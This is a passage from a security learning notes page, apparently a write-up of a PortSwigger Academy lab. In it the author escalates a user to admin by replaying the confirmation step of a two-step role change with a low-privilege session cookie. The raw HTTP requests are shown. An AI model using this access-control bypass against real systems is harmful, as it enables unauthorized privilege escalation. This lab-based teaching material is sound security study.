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        • Unprotected admin functionality
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      • Nosql Injection
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      • Api Testing
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      • Cross-site scripting (XSS)
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          • Reflected XSS into attribute with angle brackets HTML encoded
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          • Reflected XSS into HTML context with most tags and attributes blocked
          • Reflected XSS into HTML context with all tags blocked except custom ones
          • Reflected XSS with some SVG markup allowed
          • Reflected XSS in canonical link tag
          • Reflected XSS into a JavaScript string with single quote and backslash escaped
          • Reflected XSS into a JavaScript string with angle brackets and double quotes HTML encoded and single quotes escaped
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          • Reflected XSS with event handlers and href attributes blocked
          • Reflected XSS in a JavaScript URL with some characters blocked
        • DOM-based XSS
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          • DOM XSS in innerHTML sink using source location.search
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          • Reflected XSS protected by CSP, with CSP bypass
          • Reflected XSS protected by very strict CSP, with dangling markup attack
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          • Reflected XSS with AngularJS sandbox escape and CSP
        • Common XSS Attacks
          • Exploiting cross site scripting to steal cookies
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          • Exploiting XSS to perform CSRF
      • WebSockets
        • Manipulating WebSocket messages to exploit vulnerabilities
        • Cross site WebSocket hijacking
        • Manipulating the WebSocket handshake to exploit vulnerabilities
      • Cross-site Request forgery (CSRF)
        • CSRF vulnerability with no defenses
        • CSRF where token validation depends on request method
        • CSRF where token validation depends on token being present
        • CSRF where token is not tied to user session
        • CSRF where token is tied to non session cookie
        • CSRF where token is duplicated in cookie
        • SameSite Lax bypass via method override
        • SameSite Strict bypass via client side redirect
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        • SameSite Lax bypass via cookie refresh
        • CSRF where Referer validation depends on header being present
        • CSRF with broken Referer validation
      • Cross-origin resource sharing
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
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      • Clickjacking
        • Basic clickjacking with CSRF token protection
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        • Clickjacking with a frame buster script
        • Exploiting clickjacking vulnerability to trigger DOM based XSS
        • Multistep clickjacking
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        • DOM based open redirection
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  • Resources
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    • 🏴Useful Scripts
      • NoSQL REGEX Password Length
      • NoSQL REGEX Password
      • Creds BruteForce CSRF Handling
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On this page
  1. Portswigger Related
  2. Server-side topics
  3. Access Control

Multi-step process with no access control on one step

This lab has an admin panel with a flawed multi-step process for changing a user's role. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.

After gaining access with administrator credentials (administrator:admin), I explored the admin panel functionalities and identified the "upgrade" feature for elevating user roles. Attempting to upgrade the "carlos" user, I encountered a two-step process. First, I needed to submit the user for upgrade, and then confirm the upgrade with a second request:

  1. Request to submit the upgrade:

POST /admin-roles HTTP/2
Host: ****.web-security-academy.net
Cookie: session=7FxCRLXLP4Jf7twGl22ZDyda1np5q9y3
Content-Length: 30
...

username=carlos&action=upgrade

  1. Request to confirm the upgrade:

POST /admin-roles HTTP/2
Host: ****.web-security-academy.net
Cookie: session=7FxCRLXLP4Jf7twGl22ZDyda1np5q9y3
Content-Length: 45
...

action=upgrade&confirmed=true&username=carlos

Upon logging out and logging in as "wiener," I bypassed the first step's control and directly sent the second request, altering the session cookie. The modified request was:

POST /admin-roles HTTP/2
Host: ****.web-security-academy.net
Cookie: session=VwhUhOWmV6FzSmK0jwwEOZZ8Pb9dpkxA
Content-Length: 45
...

action=upgrade&confirmed=true&username=wiener

By executing this maneuver, "wiener" was successfully upgraded to an admin, resolving the lab.

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Last updated 1 year ago

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